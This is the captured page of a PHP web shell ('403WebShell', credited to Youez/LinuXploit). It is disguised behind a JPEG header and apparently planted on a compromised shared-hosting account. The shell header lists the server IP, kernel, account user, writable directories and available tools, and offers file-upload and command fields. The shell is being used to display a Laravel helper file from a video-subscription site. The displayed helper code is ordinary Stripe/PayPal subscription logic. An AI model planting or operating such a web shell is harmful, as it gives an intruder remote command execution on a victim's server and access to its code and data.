����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.188.100.179
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./gltevjme/gle.gltechlimited.com/app/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./gltevjme/gle.gltechlimited.com/app/Helpers/helper.php
<?php

use App\Button;
use App\HideForMe;
use App\Language;
use App\Menu;
use App\Multiplescreen;
use App\PackageMenu;
use Illuminate\Support\Facades\Auth;

//for get stripe plan
function getPlan()
{

    $userplan = auth()->user()->subscriptions()->orderBy('id', 'DESC')->first();

    $subscription = \Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));

    $subscription = \Stripe\Subscription::retrieve($userplan->stripe_id);

    if (isset($subscription) && $subscription->canceled_at == '' && $subscription->pause_collection == '') {

        return 1;

    } else {
        return 0;
    }
}

//for selected language
if (!function_exists('selected_lang')) {
    function selected_lang()
    {
        $lang = Language::firstWhere('local', '=', session()->get('changed_language') ?? config('translatable.fallback_locale'));
        return $lang;
    }
}
// for release update
if (!function_exists('get_release')) {

    function get_release()
    {

        $version = @file_get_contents(storage_path() . '/app/bugfixer/version.json');
        $version = json_decode($version, true);
        $current_subversion = isset($version['subversion']);

        return '(Release ' . $current_subversion . ')';
    }

}

function getSubscription()
{

    $subscribed = 0;
    $config = \App\Config::first();
    $auth = auth()->user();
    $nav_menus = Menu::query();
    $package_menu = PackageMenu::query();
    \Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
    if (isset($auth)) {

        $current_date = Illuminate\Support\Carbon::now();
        $paypal = App\PaypalSubscription::where('user_id', $auth->id)->orderBy('created_at', 'desc')->first();
        if (isset($paypal)) {

            if (date($current_date) <= date($paypal->subscription_to)) {

                if ($paypal->package_id == 0) {
                    $nav_menus = $nav_menus->get();

                    return response()->json([
                        'subs_type' => 'all_menu',
                        'nav_menus' => $nav_menus,
                        'subscribed' => true,
                        'status' => 'OK',
                    ]);

                }
            }
        }
        if ($auth->is_admin == 1 || $auth->is_assistant == 1) {

            $nav_menus = $nav_menus->orderBy('position', 'ASC')->get();
            return response()->json([
                'subs_type' => 'all_menu',
                'nav_menus' => $nav_menus,
                'subscribed' => true,
                'status' => 'OK',
            ]);

        } else {

            /** Stripe Subscription start */

            Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
            if ($auth->stripe_id != null) {
                $customer = \Laravel\Cashier\Cashier::findBillable($auth->stripe_id);
              
                if (isset($customer)) {
                    $data = $auth->subscriptions->last();
                }
            }
            if (isset($paypal) && $paypal != null && $paypal->count() > 0) {
                $last = $paypal;
            }
            $stripedate = isset($data) ? $data->created_at : null;
            $paydate = isset($last) ? $last->created_at : null;
            if ($stripedate > $paydate) {

                if ($auth->subscribed($data->name) && date($current_date) <= date($data->subscription_to) && getPlan() == 1) {
                    if (isset($data->stripe_plan) && $data->stripe_plan != null) {
                        $planmenus = $package_menu->where('package_id', $data->stripe_plan)->get();

                        if (count($planmenus)) {
                            /** @return specfic plan menus */

                            $nav_menus = $nav_menus->whereIn('id', $planmenus->pluck('menu_id'))->get();
                            return response()->json([
                                'subs_type' => 'single_menu',
                                'nav_menus' => $nav_menus,
                                'subscribed' => true,
                                'status' => 'OK',
                            ]);

                        } else {
                            /** If pkg has no menu selected @return all menu */

                            $nav_menus = $nav_menus->orderBy('position', 'ASC')->get();
                            return response()->json([
                                'subs_type' => 'all_menu',
                                'nav_menus' => $nav_menus,
                                'subscribed' => true,
                                'status' => 'OK',
                            ]);
                        }

                    }
                } else {

                    return response()->json([
                        'subs_type' => 'all_menu',
                        'nav_menus' => $nav_menus,
                        'subscribed' => false,
                        'status' => 'FAIL',
                    ]);
                }
            } elseif ($stripedate < $paydate) {

                if ((date($current_date) <= date($last->subscription_to)) && $last->status == 1) {

                    if (isset($last->plan['plan_id']) && $last->plan['plan_id'] != null) {

                        $planmenus = $package_menu->where('package_id', $last->plan['plan_id'])->get();

                        if (count($planmenus)) {

                            /** @return specfic plan menus */

                            $nav_menus = $nav_menus->whereIn('id', $planmenus->pluck('menu_id'))->get();

                            return response()->json([
                                'subs_type' => 'single_menu',
                                'nav_menus' => $nav_menus,
                                'subscribed' => true,
                                'status' => 'OK',
                            ]);

                        } else {
                            /** If pkg has no menu selected @return all menu */
                            $nav_menus = $nav_menus->orderBy('position', 'ASC')->get();
                            return response()->json([
                                'subs_type' => 'all_menu',
                                'nav_menus' => $nav_menus,
                                'subscribed' => true,
                                'status' => 'OK',
                            ]);
                        }

                    }
                    else{
                        if($config->catlog == 0){
                            return response()->json([
                               
                                'subscribed' => false,
                                'status' => 'FAIL',
                            ]);
                        }else{
                            return response()->json([
                                'subs_type' => 'all_menu',
                                'nav_menus' => $nav_menus,
                                'subscribed' => false,
                                'status' => 'FAIL',
                            ]);
                        }
                    }

                } else {

                    return response()->json([
                        'subs_type' => 'all_menu',
                        'nav_menus' => $nav_menus,
                        'subscribed' => false,
                        'status' => 'FAIL',
                    ]);
                }
            } else {

                return response()->json([
                    'subs_type' => 'all_menu',
                    'nav_menus' => $nav_menus,
                    'subscribed' => false,
                    'status' => 'FAIL',
                ]);
            }
        }
    } else {
        return response()->json([
            'subscribed' => false,
            'status' => 'FAIL',
        ]);
    }
}

function checkInMovie($movie)
{

    if (getSubscription()->getData()->subscribed == true) {

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'all_menu') {
            return true;
        }

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'single_menu') {

            foreach ($movie->menus as $moviemenu) {
                if (array_search($moviemenu->menu_id, array_column(getSubscription()->getData()->nav_menus, 'id')) !== false) {
                    return true;
                }
            }
        }

    }
}

function checkInTvseries($tv)
{
    if (getSubscription()->getData()->subscribed == true) {

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'all_menu') {
            return true;
        }

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'single_menu') {

            foreach ($tv->menus as $tvmenu) {
                if (array_search($tvmenu->menu_id, array_column(getSubscription()->getData()->nav_menus, 'id')) !== false) {
                    return true;
                }
            }
        }

    }
}

function checkInViewAllTv($tv)
{
    if (getSubscription()->getData()->subscribed == true) {

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'all_menu') {
            return true;
        }

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'single_menu') {

            foreach ($tv['menus'] as $tvmenu) {
                if (array_search($tvmenu['menu_id'], array_column(getSubscription()->getData()->nav_menus, 'id')) !== false) {
                    return true;
                }
            }
        }

    }
}

function checkInViewAllMovie($tv)
{
    if (getSubscription()->getData()->subscribed == true) {

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'all_menu') {
            return true;
        }

        if (isset(getSubscription()->getData()->subs_type) && getSubscription()->getData()->subs_type == 'single_menu') {

            foreach ($tv['menus'] as $tvmenu) {
                if (array_search($tvmenu['menu_id'], array_column(getSubscription()->getData()->nav_menus, 'id')) !== false) {
                    return true;
                }
            }
        }

    }
}

function timecalcuate($user_id, $movie_id, $type)
{

    if ($type == 'M') {
        $filename = 'time.json';
        if (file_exists(storage_path() . '/app/time/movie/user_' . $user_id . '/movie_' . $movie_id . '/' . $filename)) {
            $result = @file_get_contents(storage_path() . '/app/time/movie/user_' . $user_id . '/movie_' . $movie_id . '/' . $filename);
            $result = json_decode($result);
            $current_duration = isset($result->curDurration) && $result->curDurration != null ? $result->curDurration : 0;
            $total_duration = isset($result->totalDuration) && $result->totalDuration != null ? $result->totalDuration : 0;
            if ($current_duration == 0 && $total_duration == 0) {
                return $percentage = 0;
            } else {
                if ($total_duration != 0 && $total_duration != null) {
                    return $percentage = ($current_duration / $total_duration) * 100;
                } else {
                    return $percentage = 0;
                }

            }

        } else {
            return $percentage = 0;
        }
    }elseif($type == 'S'){
        $filename = 'time.json';
        if (file_exists(storage_path() . '/app/time/tv/user_' . $user_id . '/episode_' . $movie_id . '/' . $filename)) {
            $result = @file_get_contents(storage_path() . '/app/time/tv/user_' . $user_id . '/episode_' . $movie_id . '/' . $filename);
            $result = json_decode($result);
            $current_duration = isset($result->curDurration) && $result->curDurration != null ? $result->curDurration : 0;
            $total_duration = isset($result->totalDuration) && $result->totalDuration != null ? $result->totalDuration : 0;
            if ($current_duration == 0 && $total_duration == 0) {
                return $percentage = 0;
            } else {
                if ($total_duration !== 0 && $total_duration !== null) {
                    // Convert variables to numbers
                    $current_duration = floatval($current_duration);
                    $total_duration = floatval($total_duration);
                
                    if ($total_duration !== 0) {
                        return $percentage = ($current_duration / $total_duration) * 100;
                    } else {
                        return $percentage = 0;
                    }
                } else {
                    return $percentage = 0;
                }
                

            }

        } else {
            return $percentage = 0;
        }
    }
}



function getprofile(){
    $config_multiplescreen = Button::first()->multiplescreen;
    if($config_multiplescreen == 1){
        $manageProfile = Multiplescreen::where('user_id',auth()->user()->id)->first();
        if(isset($manageProfile)){
            if($manageProfile->activescreen != NULL){
                if($manageProfile->screen1 == $manageProfile->activescreen){
                    return 'S1';
                }else if($manageProfile->screen2 == $manageProfile->activescreen){
                    return 'S2';
                }else if($manageProfile->screen3 == $manageProfile->activescreen){
                    return 'S3';
                }else{
                    return 'S4';
                }
            }else{
                return 'S1';
            }
        }
   
    }else{
        return 'S1';
    }
    
    
}

function hidedata($id,$type){
   if(Auth::check() && isset(Auth::user()->id)){
    if($type == 'M'){
        $hide_data = HideForMe::where('type',$type)->where('movie_id',$id)->where('user_id',auth()->user()->id)->whereJsonContains('profile',getprofile())->first();
       
        if(isset($hide_data) && $hide_data != NULL){
            return 1;
        }else{
            return 0;
        }
      }else{
        $hide_data = HideForMe::where('type',$type)->where('season_id',$id)->where('user_id',auth()->user()->id)->whereJsonContains('profile',getprofile())->first();
        if(isset($hide_data) && $hide_data != NULL){
            return 1;
        }else{
            return 0;
        }
      }
   } 
 
   
}

Youez - 2016 - github.com/yon3zu
LinuXploit